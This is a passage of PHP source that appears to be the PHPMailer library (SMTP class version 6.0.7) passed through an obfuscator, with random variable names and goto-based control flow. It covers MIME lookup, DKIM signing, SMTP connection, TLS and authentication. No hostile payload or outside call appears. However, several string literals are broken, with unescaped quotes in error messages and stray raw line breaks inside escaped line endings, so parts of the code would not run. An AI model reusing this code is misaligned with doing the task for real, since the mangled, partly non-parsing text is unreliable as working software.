        $wBW2I = ["xl" => "application/excel", "js" => "application/javascript", "hqx" => "application/mac-binhex40", "cpt" => "application/mac-compactpro", "bin" => "application/macbinary", "doc" => "application/msword", "word" => "application/msword", "xlsx" => "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet", "xltx" => "application/vnd.openxmlformats-officedocument.spreadsheetml.template", "potx" => "application/vnd.openxmlformats-officedocument.presentationml.template", "ppsx" => "application/vnd.openxmlformats-officedocument.presentationml.slideshow", "pptx" => "application/vnd.openxmlformats-officedocument.presentationml.presentation", "sldx" => "application/vnd.openxmlformats-officedocument.presentationml.slide", "docx" => "application/vnd.openxmlformats-officedocument.wordprocessingml.document", "dotx" => "application/vnd.openxmlformats-officedocument.wordprocessingml.template", "xlam" => "application/vnd.ms-excel.addin.macroEnabled.12", "xlsb" => "application/vnd.ms-excel.sheet.binary.macroEnabled.12", "class" => "application/octet-stream", "dll" => "application/octet-stream", "dms" => "application/octet-stream", "exe" => "application/octet-stream", "lha" => "application/octet-stream", "lzh" => "application/octet-stream", "psd" => "application/octet-stream", "sea" => "application/octet-stream", "so" => "application/octet-stream", "oda" => "application/oda", "pdf" => "application/pdf", "ai" => "application/postscript", "eps" => "application/postscript", "ps" => "application/postscript", "smi" => "application/smil", "smil" => "application/smil", "mif" => "application/vnd.mif", "xls" => "application/vnd.ms-excel", "ppt" => "application/vnd.ms-powerpoint", "wbxml" => "application/vnd.wap.wbxml", "wmlc" => "application/vnd.wap.wmlc", "dcr" => "application/x-director", "dir" => "application/x-director", "dxr" => "application/x-director", "dvi" => "application/x-dvi", "gtar" => "application/x-gtar", "php3" => "application/x-httpd-php", "php4" => "application/x-httpd-php", "php" => "application/x-httpd-php", "phtml" => "application/x-httpd-php", "phps" => "application/x-httpd-php-source", "swf" => "application/x-shockwave-flash", "sit" => "application/x-stuffit", "tar" => "application/x-tar", "tgz" => "application/x-tar", "xht" => "application/xhtml+xml", "xhtml" => "application/xhtml+xml", "zip" => "application/zip", "mid" => "audio/midi", "midi" => "audio/midi", "mp2" => "audio/mpeg", "mp3" => "audio/mpeg", "m4a" => "audio/mp4", "mpga" => "audio/mpeg", "aif" => "audio/x-aiff", "aifc" => "audio/x-aiff", "aiff" => "audio/x-aiff", "ram" => "audio/x-pn-realaudio", "rm" => "audio/x-pn-realaudio", "rpm" => "audio/x-pn-realaudio-plugin", "ra" => "audio/x-realaudio", "wav" => "audio/x-wav", "mka" => "audio/x-matroska", "bmp" => "image/bmp", "gif" => "image/gif", "jpeg" => "image/jpeg", "jpe" => "image/jpeg", "jpg" => "image/jpeg", "png" => "image/png", "tiff" => "image/tiff", "tif" => "image/tiff", "webp" => "image/webp", "heif" => "image/heif", "heifs" => "image/heif-sequence", "heic" => "image/heic", "heics" => "image/heic-sequence", "eml" => "message/rfc822", "css" => "text/css", "html" => "text/html", "htm" => "text/html", "shtml" => "text/html", "log" => "text/plain", "text" => "text/plain", "txt" => "text/plain", "rtx" => "text/richtext", "rtf" => "text/rtf", "vcf" => "text/vcard", "vcard" => "text/vcard", "ics" => "text/calendar", "xml" => "text/xml", "xsl" => "text/xml", "wmv" => "video/x-ms-wmv", "mpeg" => "video/mpeg", "mpe" => "video/mpeg", "mpg" => "video/mpeg", "mp4" => "video/mp4", "m4v" => "video/mp4", "mov" => "video/quicktime", "qt" => "video/quicktime", "rv" => "video/vnd.rn-realvideo", "avi" => "video/x-msvideo", "movie" => "video/x-sgi-movie", "webm" => "video/webm", "mkv" => "video/x-matroska"]; 
        $Xeg7j = strtolower($Xeg7j); 
        if (!array_key_exists($Xeg7j, $wBW2I)) { 
            goto iWkY7; 
        } 
        return $wBW2I[$Xeg7j]; 
        iWkY7: 
        return "application/octet-stream"; 
    } 
    public static function filenameToType($FFm9e) 
    { 
        $Z5fH7 = strpos($FFm9e, "?"); 
        if (!(false !== $Z5fH7)) { 
            goto HeLTR; 
        } 
        $FFm9e = substr($FFm9e, 0, $Z5fH7); 
        HeLTR: 
        $Xeg7j = static::mb_pathinfo($FFm9e, PATHINFO_EXTENSION); 
        return static::_mime_types($Xeg7j); 
    } 
    public static function mb_pathinfo($t1usk, $p0n3v = null) 
    { 
        $mgR5a = ["dirname" => '', "basename" => '', "extension" => '', "filename" => '']; 
        $Bg9Qp = []; 
        if (!preg_match("#^(.*?)[\\/]*(([^/\\]*?)(\.([^\.\\/]+?)|))[\\/\.]*$#im", $t1usk, $Bg9Qp)) { 
            goto cvcVZ; 
        } 
        if (!array_key_exists(1, $Bg9Qp)) { 
            goto J06hm; 
        } 
        $mgR5a["dirname"] = $Bg9Qp[1]; 
        J06hm: 
        if (!array_key_exists(2, $Bg9Qp)) { 
            goto ZV9WE; 
        } 
        $mgR5a["basename"] = $Bg9Qp[2]; 
        ZV9WE: 
        if (!array_key_exists(5, $Bg9Qp)) { 
            goto Ft9_E; 
        } 
        $mgR5a["extension"] = $Bg9Qp[5]; 
        Ft9_E: 
        if (!array_key_exists(3, $Bg9Qp)) { 
            goto LsXbU; 
        } 
        $mgR5a["filename"] = $Bg9Qp[3]; 
        LsXbU: 
        cvcVZ: 
        switch ($p0n3v) { 
            case PATHINFO_DIRNAME: 
            case "dirname": 
                return $mgR5a["dirname"]; 
            case PATHINFO_BASENAME: 
            case "basename": 
                return $mgR5a["basename"]; 
            case PATHINFO_EXTENSION: 
            case "extension": 
                return $mgR5a["extension"]; 
            case PATHINFO_FILENAME: 
            case "filename": 
                return $mgR5a["filename"]; 
            default: 
                return $mgR5a; 
        } 
        K7A9l: 
        TJ294: 
    } 
    public function set($dEC3m, $GywUj = '') 
    { 
        if (!property_exists($this, $dEC3m)) { 
            goto HIkrw; 
        } 
        $this->{$dEC3m} = $GywUj; 
        return true; 
        HIkrw: 
        $this->setError($this->lang("variable_set") . $dEC3m); 
        return false; 
    } 
    public function secureHeader($YX4WE) 
    { 
        return trim(str_replace(["\xd", "
"], '', $YX4WE)); 
    } 
    public static function normalizeBreaks($izkEo, $IOR82 = null) 
    { 
        if (!(null === $IOR82)) { 
            goto i95H1; 
        } 
        $IOR82 = static::$LE; 
        i95H1: 
        $izkEo = str_replace(["
", "\xd"], "
", $izkEo); 
        if (!("\xa" !== $IOR82)) { 
            goto fWt3p; 
        } 
        $izkEo = str_replace("\xa", $IOR82, $izkEo); 
        fWt3p: 
        return $izkEo; 
    } 
    public static function getLE() 
    { 
        return static::$LE; 
    } 
    protected static function setLE($cnE0e) 
    { 
        static::$LE = $cnE0e; 
    } 
    public function sign($Bn_5X, $VB7tf, $pKFGn, $IhWe8 = '') 
    { 
        $this->sign_cert_file = $Bn_5X; 
        $this->sign_key_file = $VB7tf; 
        $this->sign_key_pass = $pKFGn; 
        $this->sign_extracerts_file = $IhWe8; 
    } 
    public function DKIM_QP($xjCDA) 
    { 
        $rYeep = ''; 
        $XtdVD = strlen($xjCDA); 
        $KJHmb = 0; 
        d60Js: 
        if (!($KJHmb < $XtdVD)) { 
            goto XqoAZ; 
        } 
        $UalVS = ord($xjCDA[$KJHmb]); 
        if (0x21 <= $UalVS and $UalVS <= 0x3a or $UalVS == 0x3c or 0x3e <= $UalVS and $UalVS <= 0x7e) { 
            goto EGzdc; 
        } 
        $rYeep .= "=" . sprintf("%02X", $UalVS); 
        goto uTqg5; 
        EGzdc: 
        $rYeep .= $xjCDA[$KJHmb]; 
        uTqg5: 
        zF8lx: 
        ++$KJHmb; 
        goto d60Js; 
        XqoAZ: 
        return $rYeep; 
    } 
    public function DKIM_Sign($b_n_I) 
    { 
        if (defined("PKCS7_TEXT")) { 
            goto v21nZ; 
        } 
        if (!$this->exceptions) { 
            goto y6OyH; 
        } 
        throw new Exception($this->lang("extension_missing") . "openssl"); 
        y6OyH: 
        return ''; 
        v21nZ: 
        $keegN = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private); 
        if ('' != $this->DKIM_passphrase) { 
            goto t1sfs; 
        } 
        $pUWMr = openssl_pkey_get_private($keegN); 
        goto bxpog; 
        t1sfs: 
        $pUWMr = openssl_pkey_get_private($keegN, $this->DKIM_passphrase); 
        bxpog: 
        if (!openssl_sign($b_n_I, $EUe0N, $pUWMr, "sha256WithRSAEncryption")) { 
            goto ZDSzP; 
        } 
        openssl_pkey_free($pUWMr); 
        return base64_encode($EUe0N); 
        ZDSzP: 
        openssl_pkey_free($pUWMr); 
        return ''; 
    } 
    public function DKIM_HeaderC($b_n_I) 
    { 
        $b_n_I = preg_replace("/\r\n[ \t]+/", " ", $b_n_I); 
        $yCe67 = explode("\xd
", $b_n_I); 
        foreach ($yCe67 as $pEv6e => $rYeep) { 
            if (!(strpos($rYeep, ":") === false)) { 
                goto gb23l; 
            } 
            goto Cnmvb; 
            gb23l: 
            list($Zb8eM, $GywUj) = explode(":", $rYeep, 2); 
            $Zb8eM = strtolower($Zb8eM); 
            $GywUj = preg_replace("/[ \t]{2,}/", " ", $GywUj); 
            $yCe67[$pEv6e] = trim($Zb8eM, " 	") . ":" . trim($GywUj, " \x9"); 
            Cnmvb: 
        } 
        flMcT: 
        return implode("\xd\xa", $yCe67); 
    } 
    public function DKIM_BodyC($UlmlF) 
    { 
        if (!empty($UlmlF)) { 
            goto K1Fpz; 
        } 
        return "\xd
"; 
        K1Fpz: 
        $UlmlF = static::normalizeBreaks($UlmlF, "\xd
"); 
        return rtrim($UlmlF, "
\xa") . "\xd
"; 
    } 
    public function DKIM_Add($DxRuc, $q3Ca0, $UlmlF) 
    { 
        $cO5ZR = "rsa-sha256"; 
        $M0r21 = "relaxed/simple"; 
        $fNuyO = "dns/txt"; 
        $brkl5 = time(); 
        $drfJj = "Subject: {$q3Ca0}"; 
        $kQ6Rm = explode(static::$LE, $DxRuc); 
        $brIkc = ''; 
        $Z42y0 = ''; 
        $SrMnh = ''; 
        $q4mu1 = ''; 
        $naPXG = ''; 
        $cCM45 = []; 
        $Yb3B_ = ''; 
        $BYJBz = ''; 
        $C0lWR = ''; 
        foreach ($kQ6Rm as $y_KXY) { 
            if (strpos($y_KXY, "From:") === 0) { 
                goto ryNwY; 
            } 
            if (strpos($y_KXY, "To:") === 0) { 
                goto NzZUv; 
            } 
            if (strpos($y_KXY, "Date:") === 0) { 
                goto NURSH; 
            } 
            if (!empty($this->DKIM_extraHeaders)) { 
                goto q3Hm3; 
            } 
            if (!empty(${$q4mu1}) and strpos($y_KXY, " =?") === 0) { 
                goto qEBnu; 
            } 
            $q4mu1 = ''; 
            goto KwP5j; 
            qEBnu: 
            ${$q4mu1} .= $y_KXY; 
            KwP5j: 
            goto lwsmH; 
            ryNwY: 
            $brIkc = $y_KXY; 
            $q4mu1 = "from_header"; 
            goto lwsmH; 
            NzZUv: 
            $Z42y0 = $y_KXY; 
            $q4mu1 = "to_header"; 
            goto lwsmH; 
            NURSH: 
            $SrMnh = $y_KXY; 
            $q4mu1 = "date_header"; 
            goto lwsmH; 
            q3Hm3: 
            foreach ($this->DKIM_extraHeaders as $zxaNM) { 
                if (!(strpos($y_KXY, $zxaNM . ":") === 0)) { 
                    goto nNoe2; 
                } 
                $EiLO0 = $y_KXY; 
                foreach ($this->CustomHeader as $Fh8w2) { 
                    if (!($Fh8w2[0] === $zxaNM)) { 
                        goto nPAeC; 
                    } 
                    $EiLO0 = trim($Fh8w2[0]) . ": " . $this->encodeHeader(trim($Fh8w2[1])); 
                    goto Xf5AL; 
                    nPAeC: 
                    GuqII: 
                } 
                Xf5AL: 
                $cCM45[$zxaNM] = $EiLO0; 
                $q4mu1 = ''; 
                goto jnkZT; 
                nNoe2: 
                RLZPJ: 
            } 
            jnkZT: 
            lwsmH: 
            JZ0J0: 
        } 
        IMSDX: 
        foreach ($cCM45 as $pEv6e => $GywUj) { 
            $Yb3B_ .= ":" . $pEv6e; 
            $BYJBz .= $GywUj . "
"; 
            if (!$this->DKIM_copyHeaderFields) { 
                goto nc_Ls; 
            } 
            $C0lWR .= "\x9|" . str_replace("|", "=7C", $this->DKIM_QP($GywUj)) . ";
\xa"; 
            nc_Ls: 
            F7oPZ: 
        } 
        XIDOE: 
        if (!$this->DKIM_copyHeaderFields) { 
            goto kckti; 
        } 
        $zzfpb = str_replace("|", "=7C", $this->DKIM_QP($brIkc)); 
        $g7_oI = str_replace("|", "=7C", $this->DKIM_QP($Z42y0)); 
        $rWVwM = str_replace("|", "=7C", $this->DKIM_QP($SrMnh)); 
        $q3Ca0 = str_replace("|", "=7C", $this->DKIM_QP($drfJj)); 
        $naPXG = "\x9z={$zzfpb}\xd
" . "\x9|{$g7_oI}\xd\xa" . "	|{$rWVwM}
\xa" . "	|{$q3Ca0};\xd
" . $C0lWR; 
        kckti: 
        $UlmlF = $this->DKIM_BodyC($UlmlF); 
        $UKxkZ = strlen($UlmlF); 
        $zOwlq = base64_encode(pack("H*", hash("sha256", $UlmlF))); 
        if ('' == $this->DKIM_identity) { 
            goto HnSIw; 
        } 
        $Z_I4q = " i=" . $this->DKIM_identity . ";"; 
        goto LU7Vx; 
        HnSIw: 
        $Z_I4q = ''; 
        LU7Vx: 
        $TPDEU = "DKIM-Signature: v=1; a=" . $cO5ZR . "; q=" . $fNuyO . "; l=" . $UKxkZ . "; s=" . $this->DKIM_selector . ";
" . "	t=" . $brkl5 . "; c=" . $M0r21 . ";
\xa" . "	h=From:To:Date:Subject" . $Yb3B_ . ";\xd\xa" . "	d=" . $this->DKIM_domain . ";" . $Z_I4q . "
" . $naPXG . "\x9bh=" . $zOwlq . ";\xd
" . "\x9b="; 
        $pPmfX = $this->DKIM_HeaderC($brIkc . "
" . $Z42y0 . "\xd
" . $SrMnh . "
\xa" . $drfJj . "
\xa" . $BYJBz . $TPDEU); 
        $ty0iw = $this->DKIM_Sign($pPmfX); 
        return static::normalizeBreaks($TPDEU . $ty0iw) . static::$LE; 
    } 
    public static function hasLineLongerThanMax($YX4WE) 
    { 
        return (bool) preg_match("/^(.{" . (self::MAX_LINE_LENGTH + strlen(static::$LE)) . ",})/m", $YX4WE); 
    } 
    public function getToAddresses() 
    { 
        return $this->to; 
    } 
    public function getCcAddresses() 
    { 
        return $this->cc; 
    } 
    public function getBccAddresses() 
    { 
        return $this->bcc; 
    } 
    public function getReplyToAddresses() 
    { 
        return $this->ReplyTo; 
    } 
    public function getAllRecipientAddresses() 
    { 
        return $this->all_recipients; 
    } 
    protected function doCallback($JxyrV, $g7_oI, $bKKB9, $DZLkJ, $q3Ca0, $UlmlF, $zzfpb, $GZeRy) 
    { 
        if (!(!empty($this->action_function) and is_callable($this->action_function))) { 
            goto wTcaJ; 
        } 
        call_user_func($this->action_function, $JxyrV, $g7_oI, $bKKB9, $DZLkJ, $q3Ca0, $UlmlF, $zzfpb, $GZeRy); 
        wTcaJ: 
    } 
    public function getOAuth() 
    { 
        return $this->oauth; 
    } 
    public function setOAuth(OAuth $pCSB8) 
    { 
        $this->oauth = $pCSB8; 
    } 
} 
class SMTP 
{ 
    const VERSION = "6.0.7"; 
    const LE = "\xd\xa"; 
    const DEFAULT_PORT = 25; 
    const MAX_LINE_LENGTH = 998; 
    const DEBUG_OFF = 0; 
    const DEBUG_CLIENT = 1; 
    const DEBUG_SERVER = 2; 
    const DEBUG_CONNECTION = 3; 
    const DEBUG_LOWLEVEL = 4; 
    public $do_debug = self::DEBUG_OFF; 
    public $Debugoutput = "echo"; 
    public $do_verp = false; 
    public $Timeout = 300; 
    public $Timelimit = 300; 
    protected $smtp_transaction_id_patterns = ["exim" => "/[\d]{3} OK id=(.*)/", "sendmail" => "/[\d]{3} 2.0.0 (.*) Message/", "postfix" => "/[\d]{3} 2.0.0 Ok: queued as (.*)/", "Microsoft_ESMTP" => "/[0-9]{3} 2.[\d].0 (.*)@(?:.*) Queued mail for delivery/", "Amazon_SES" => "/[\d]{3} Ok (.*)/", "SendGrid" => "/[\d]{3} Ok: queued as (.*)/", "CampaignMonitor" => "/[\d]{3} 2.0.0 OK:([a-zA-Z\d]{48})/"]; 
    protected $last_smtp_transaction_id; 
    protected $smtp_conn; 
    protected $error = ["error" => '', "detail" => '', "smtp_code" => '', "smtp_code_ex" => '']; 
    protected $helo_rply = null; 
    protected $server_caps = null; 
    protected $last_reply = ''; 
    protected function edebug($YX4WE, $vdarJ = 0) 
    { 
        if (!($vdarJ > $this->do_debug)) { 
            goto zZOEi; 
        } 
        return; 
        zZOEi: 
        if (!$this->Debugoutput instanceof \Psr\Log\LoggerInterface) { 
            goto MAyrO; 
        } 
        $this->Debugoutput->debug($YX4WE); 
        return; 
        MAyrO: 
        if (!(!in_array($this->Debugoutput, ["error_log", "html", "echo"]) and is_callable($this->Debugoutput))) { 
            goto tJNS7; 
        } 
        call_user_func($this->Debugoutput, $YX4WE, $vdarJ); 
        return; 
        tJNS7: 
        switch ($this->Debugoutput) { 
            case "error_log": 
                error_log($YX4WE); 
                goto cc5Yh; 
            case "html": 
                echo gmdate("Y-m-d H:i:s"), " ", htmlentities(preg_replace("/[\r\n]+/", '', $YX4WE), ENT_QUOTES, "UTF-8"), "<br>
"; 
                goto cc5Yh; 
            case "echo": 
            default: 
                $YX4WE = preg_replace("/\r\n|\r/ms", "
", $YX4WE); 
                echo gmdate("Y-m-d H:i:s"), "	", trim(str_replace("
", "\xa                   \x9                  ", trim($YX4WE))), "\xa"; 
        } 
        p81iu: 
        cc5Yh: 
    } 
    public function connect($S1iUU, $qnls6 = null, $yMz18 = 30, $p0n3v = []) 
    { 
        static $Xfza1; 
        if (!(null === $Xfza1)) { 
            goto Taxs0; 
        } 
        $Xfza1 = function_exists("stream_socket_client"); 
        Taxs0: 
        $this->setError(''); 
        if (!$this->connected()) { 
            goto tmimp; 
        } 
        $this->setError("Already connected to a server"); 
        return false; 
        tmimp: 
        if (!empty($qnls6)) { 
            goto idodg; 
        } 
        $qnls6 = self::DEFAULT_PORT; 
        idodg: 
        $this->edebug("Connection: opening to {$S1iUU}:{$qnls6}, timeout={$yMz18}, options=" . (count($p0n3v) > 0 ? var_export($p0n3v, true) : "array()"), self::DEBUG_CONNECTION); 
        $rXtrb = 0; 
        $lsf1w = ''; 
        if ($Xfza1) { 
            goto c7o7i; 
        } 
        $this->edebug("Connection: stream_socket_client not available, falling back to fsockopen", self::DEBUG_CONNECTION); 
        set_error_handler([$this, "errorHandler"]); 
        $this->smtp_conn = fsockopen($S1iUU, $qnls6, $rXtrb, $lsf1w, $yMz18); 
        restore_error_handler(); 
        goto SIx9F; 
        c7o7i: 
        $Civ9H = stream_context_create($p0n3v); 
        set_error_handler([$this, "errorHandler"]); 
        $this->smtp_conn = stream_socket_client($S1iUU . ":" . $qnls6, $rXtrb, $lsf1w, $yMz18, STREAM_CLIENT_CONNECT, $Civ9H); 
        restore_error_handler(); 
        SIx9F: 
        if (is_resource($this->smtp_conn)) { 
            goto KRIaT; 
        } 
        $this->setError("Failed to connect to server", '', (string) $rXtrb, (string) $lsf1w); 
        $this->edebug("SMTP ERROR: " . $this->error["error"] . ": {$lsf1w} ({$rXtrb})", self::DEBUG_CLIENT); 
        return false; 
        KRIaT: 
        $this->edebug("Connection: opened", self::DEBUG_CONNECTION); 
        if (!(substr(PHP_OS, 0, 3) != "WIN")) { 
            goto VuH0S; 
        } 
        $PtSJw = ini_get("max_execution_time"); 
        if (!(0 != $PtSJw and $yMz18 > $PtSJw)) { 
            goto AMGh0; 
        } 
        @set_time_limit($yMz18); 
        AMGh0: 
        stream_set_timeout($this->smtp_conn, $yMz18, 0); 
        VuH0S: 
        $xeFEM = $this->get_lines(); 
        $this->edebug("SERVER -> CLIENT: " . $xeFEM, self::DEBUG_SERVER); 
        return true; 
    } 
    public function startTLS() 
    { 
        if ($this->sendCommand("STARTTLS", "STARTTLS", 220)) { 
            goto VeHsr; 
        } 
        return false; 
        VeHsr: 
        $VyyQ3 = STREAM_CRYPTO_METHOD_TLS_CLIENT; 
        if (!defined("STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT")) { 
            goto vIp23; 
        } 
        $VyyQ3 |= STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT; 
        $VyyQ3 |= STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT; 
        vIp23: 
        set_error_handler([$this, "errorHandler"]); 
        $Wvvh6 = stream_socket_enable_crypto($this->smtp_conn, true, $VyyQ3); 
        restore_error_handler(); 
        return (bool) $Wvvh6; 
    } 
    public function authenticate($t7mwF, $RNSkS, $BuaXA = null, $j1oGl = null) 
    { 
        if ($this->server_caps) { 
            goto L2isw; 
        } 
        $this->setError("Authentication is not allowed before HELO/EHLO"); 
        return false; 
        L2isw: 
        if (array_key_exists("EHLO", $this->server_caps)) { 
            goto ndn3V; 
        } 
        if (empty($BuaXA)) { 
            goto inARk; 
        } 
        goto Bfl19; 
        ndn3V: 
        if (array_key_exists("AUTH", $this->server_caps)) { 
            goto UNkDO; 
        } 
        $this->setError("Authentication is not allowed at this stage"); 
        return false; 
        UNkDO: 
        $this->edebug("Auth method requested: " . ($BuaXA ? $BuaXA : "UNSPECIFIED"), self::DEBUG_LOWLEVEL); 
        $this->edebug("Auth methods available on the server: " . implode(",", $this->server_caps["AUTH"]), self::DEBUG_LOWLEVEL); 
        if (!(null !== $BuaXA and !in_array($BuaXA, $this->server_caps["AUTH"]))) { 
            goto CHr6X; 
        } 
        $this->edebug("Requested auth method not available: " . $BuaXA, self::DEBUG_LOWLEVEL); 
        $BuaXA = null; 
        CHr6X: 
        if (!empty($BuaXA)) { 
            goto ajOb9; 
        } 
        foreach (["CRAM-MD5", "LOGIN", "PLAIN", "XOAUTH2"] as $MGcrK) { 
            if (!in_array($MGcrK, $this->server_caps["AUTH"])) { 
                goto qSeQW; 
            } 
            $BuaXA = $MGcrK; 
            goto sldN6; 
            qSeQW: 
            uGKb8: 
        } 
        sldN6: 
        if (!empty($BuaXA)) { 
            goto tImi4; 
        } 
        $this->setError("No supported authentication methods found"); 
        return false; 
        tImi4: 
        self::edebug("Auth method selected: " . $BuaXA, self::DEBUG_LOWLEVEL); 
        ajOb9: 
        if (in_array($BuaXA, $this->server_caps["AUTH"])) { 
            goto qp40S; 
        } 
        $this->setError("The requested authentication method "{$BuaXA}" is not supported by the server"); 
        return false; 
        qp40S: 
        goto Bfl19; 
        inARk: 
        $BuaXA = "LOGIN"; 
        Bfl19: 
        switch ($BuaXA) { 
            case "PLAIN": 
                if ($this->sendCommand("AUTH", "AUTH PLAIN", 334)) { 
                    goto kWadR; 
                } 
                return false; 
                kWadR: 
                if ($this->sendCommand("User & Password", base64_encode("\0" . $t7mwF . "\0" . $RNSkS), 235)) { 
                    goto q4DXc; 
                } 
                return false; 
                q4DXc: 
                goto NaECh; 
            case "LOGIN": 
                if ($this->sendCommand("AUTH", "AUTH LOGIN", 334)) { 
                    goto qklOA; 
                } 
                return false; 
                qklOA: 
                if ($this->sendCommand("Username", base64_encode($t7mwF), 334)) { 
                    goto xCHMu; 
                } 
                return false; 
                xCHMu: 
                if ($this->sendCommand("Password", base64_encode($RNSkS), 235)) { 
                    goto UCGWz; 
                } 
                return false; 
                UCGWz: 
                goto NaECh; 
            case "CRAM-MD5": 
                if ($this->sendCommand("AUTH CRAM-MD5", "AUTH CRAM-MD5", 334)) { 
                    goto b6tLc; 
                } 
                return false; 
                b6tLc: 
                $kjlMP = base64_decode(substr($this->last_reply, 4)); 
                $NxYHM = $t7mwF . " " . $this->hmac($kjlMP, $RNSkS); 
                return $this->sendCommand("Username", base64_encode($NxYHM), 235); 
            case "XOAUTH2": 
                if (!(null === $j1oGl)) { 
                    goto sy2ZK; 
                } 
                return false; 
                sy2ZK: 
                $pCSB8 = $j1oGl->getOauth64(); 
                if ($this->sendCommand("AUTH", "AUTH XOAUTH2 " . $pCSB8, 235)) { 
                    goto Pqa0h; 
                } 
                return false; 
                Pqa0h: 
                goto NaECh; 
            default: 
                $this->setError("Authentication method "{$BuaXA}" is not supported"); 
                return false; 
        } 
        CYSfo: 
        NaECh: 
        return true; 
    } 
    protected function hmac($FJQWD, $pEv6e) 
    { 
        if (!function_exists("hash_hmac")) { 
            goto Q0K1a; 
        } 
        return hash_hmac("md5", $FJQWD, $pEv6e); 
        Q0K1a: 
        $QJf2s = 64; 
        if (!(strlen($pEv6e) > $QJf2s)) { 
            goto MM2Ee; 
        } 
        $pEv6e = pack("H*", md5($pEv6e)); 
        MM2Ee: 
        $pEv6e = str_pad($pEv6e, $QJf2s, chr(0x0)); 
        $Con44 = str_pad('', $QJf2s, chr(0x36)); 
        $PPQHU = str_pad('', $QJf2s, chr(0x5c)); 
        $roHAi = $pEv6e ^ $Con44; 
        $PLEIS = $pEv6e ^ $PPQHU; 
        return md5($PLEIS . pack("H*", md5($roHAi . $FJQWD))); 
    } 
    public function connected() 
    { 
        if (!is_resource($this->smtp_conn)) { 
            goto JVLCi; 
        } 
        $LcQ1t = stream_get_meta_data($this->smtp_conn); 
        if (!$LcQ1t["eof"]) { 
            goto wx7HR; 
        } 
        $this->edebug("SMTP NOTICE: EOF caught while checking if connected", self::DEBUG_CLIENT); 
        $this->close(); 
        return false; 
        wx7HR: 
        return true; 
        JVLCi: 
        return false; 
    } 
    public function close() 
    { 
        $this->setError(''); 
        $this->server_caps = null; 
        $this->helo_rply = null; 
        if (!is_resource($this->smtp_conn)) { 
            goto pKyRx; 
        } 
        fclose($this->smtp_conn); 
        $this->smtp_conn = null; 
        $this->edebug("Connection: closed", self::DEBUG_CONNECTION); 
        pKyRx: 
    } 
    public function data($A9qXM) 
    { 
        if ($this->sendCommand("DATA", "DATA", 354)) { 
            goto QK5z3; 
        } 
        return false; 
        QK5z3: 
        $yCe67 = explode("
", str_replace(["\xd\xa", "
"], "
", $A9qXM)); 
        $UFDNA = substr($yCe67[0], 0, strpos($yCe67[0], ":")); 
        $YD9wJ = false; 
        if (!(!empty($UFDNA) and strpos($UFDNA, " ") === false)) { 
            goto laapZ; 
        } 
        $YD9wJ = true; 
        laapZ: 
        foreach ($yCe67 as $rYeep) { 
            $jIZfu = []; 
            if (!($YD9wJ and $rYeep == '')) { 
                goto M6sgF; 
            } 
            $YD9wJ = false; 
            M6sgF: 
            WsicF: 
            if (!isset($rYeep[self::MAX_LINE_LENGTH])) { 
                goto Caalj; 
            } 
            $lLiqT = strrpos(substr($rYeep, 0, self::MAX_LINE_LENGTH), " "); 
            if (!$lLiqT) { 
                goto oM1xf; 
            } 
            $jIZfu[] = substr($rYeep, 0, $lLiqT); 
            $rYeep = substr($rYeep, $lLiqT + 1); 
            goto GoJmV; 
            oM1xf: 
            $lLiqT = self::MAX_LINE_LENGTH - 1; 
            $jIZfu[] = substr($rYeep, 0, $lLiqT); 
            $rYeep = substr($rYeep, $lLiqT); 
            GoJmV: 
            if (!$YD9wJ) { 
                goto D0uHx; 
            } 
            $rYeep = "\x9" . $rYeep; 
            D0uHx: 
            goto WsicF; 
            Caalj: 
            $jIZfu[] = $rYeep; 
            foreach ($jIZfu as $ciT4j) { 
                if (!(!empty($ciT4j) and $ciT4j[0] == ".")) { 
                    goto ONHmM; 
                } 
                $ciT4j = "." . $ciT4j; 
                ONHmM: 
                $this->client_send($ciT4j . static::LE, "DATA"); 
                ITYgP: 
            } 
            a1iq1: 
            T7zSo: 
        } 
        vRVyP: 
        $BRJq2 = $this->Timelimit; 
        $this->Timelimit = $this->Timelimit * 2; 
        $HYIC3 = $this->sendCommand("DATA END", ".", 250); 
        $this->recordLastTransactionID(); 
        $this->Timelimit = $BRJq2; 
        return $HYIC3; 
    } 
    public function hello($S1iUU = '') 
    { 
        return $this->sendHello("EHLO", $S1iUU) or $this->sendHello("HELO", $S1iUU); 
    } 
    protected function sendHello($njo9Y, $S1iUU) 
    { 
        $T__mp = $this->sendCommand($njo9Y, $njo9Y . " " . $S1iUU, 250); 
        $this->helo_rply = $this->last_reply; 
        if ($T__mp) { 
            goto tRS8O; 
        } 
        $this->server_caps = null; 
        goto Tv9Up; 
        tRS8O: 
        $this->parseHelloFields($njo9Y); 
        Tv9Up: 
        return $T__mp; 
    } 
    protected function parseHelloFields($W7B1j) 
    { 
        $this->server_caps = []; 
        $yCe67 = explode("
", $this->helo_rply); 
        foreach ($yCe67 as $j0kQ0 => $nkurT) { 
            $nkurT = trim(substr($nkurT, 4)); 
            if (!empty($nkurT)) { 
                goto V4zCo; 
            } 
            goto TK7tY; 
            V4zCo: 
            $G4B70 = explode(" ", $nkurT); 
            if (empty($G4B70)) { 
                goto P0vV4; 
            } 
            if (!$j0kQ0) { 
                goto LmuOt; 
            } 
            $dEC3m = array_shift($G4B70); 
            switch ($dEC3m) { 
                case "SIZE": 
                    $G4B70 = $G4B70 ? $G4B70[0] : 0; 
                    goto CCwHQ; 
                case "AUTH": 
                    if (is_array($G4B70)) { 
                        goto Cp24N; 
                    } 
                    $G4B70 = []; 
                    Cp24N: 
                    goto CCwHQ; 
                default: 
                    $G4B70 = true; 
            } 
            MgtH4: 
            CCwHQ: 
            goto f7wUd; 
            LmuOt: 
            $dEC3m = $W7B1j; 
            $G4B70 = $G4B70[0]; 
            f7wUd: 
            $this->server_caps[$dEC3m] = $G4B70; 
            P0vV4: 
            TK7tY: 
        } 
        rt_Yf: 
    } 
    public function mail($zzfpb) 
    { 
        $hwXU1 = $this->do_verp ? " XVERP" : ''; 
        return $this->sendCommand("MAIL FROM", "MAIL FROM:<" . $zzfpb . ">" . $hwXU1, 250); 
    } 
    public function quit($y4wbn = true) 
    { 
        $T__mp = $this->sendCommand("QUIT", "QUIT", 221); 
        $yhEFW = $this->error; 
        if (!($T__mp or $y4wbn)) { 
            goto HLrNq; 
        } 
        $this->close(); 
        $this->error = $yhEFW; 
        HLrNq: 
        return $T__mp; 
    } 
    public function recipient($w1_0x, $GqLn3 = '') 
    { 
        if (empty($GqLn3)) { 
            goto JiLXi; 
        } 
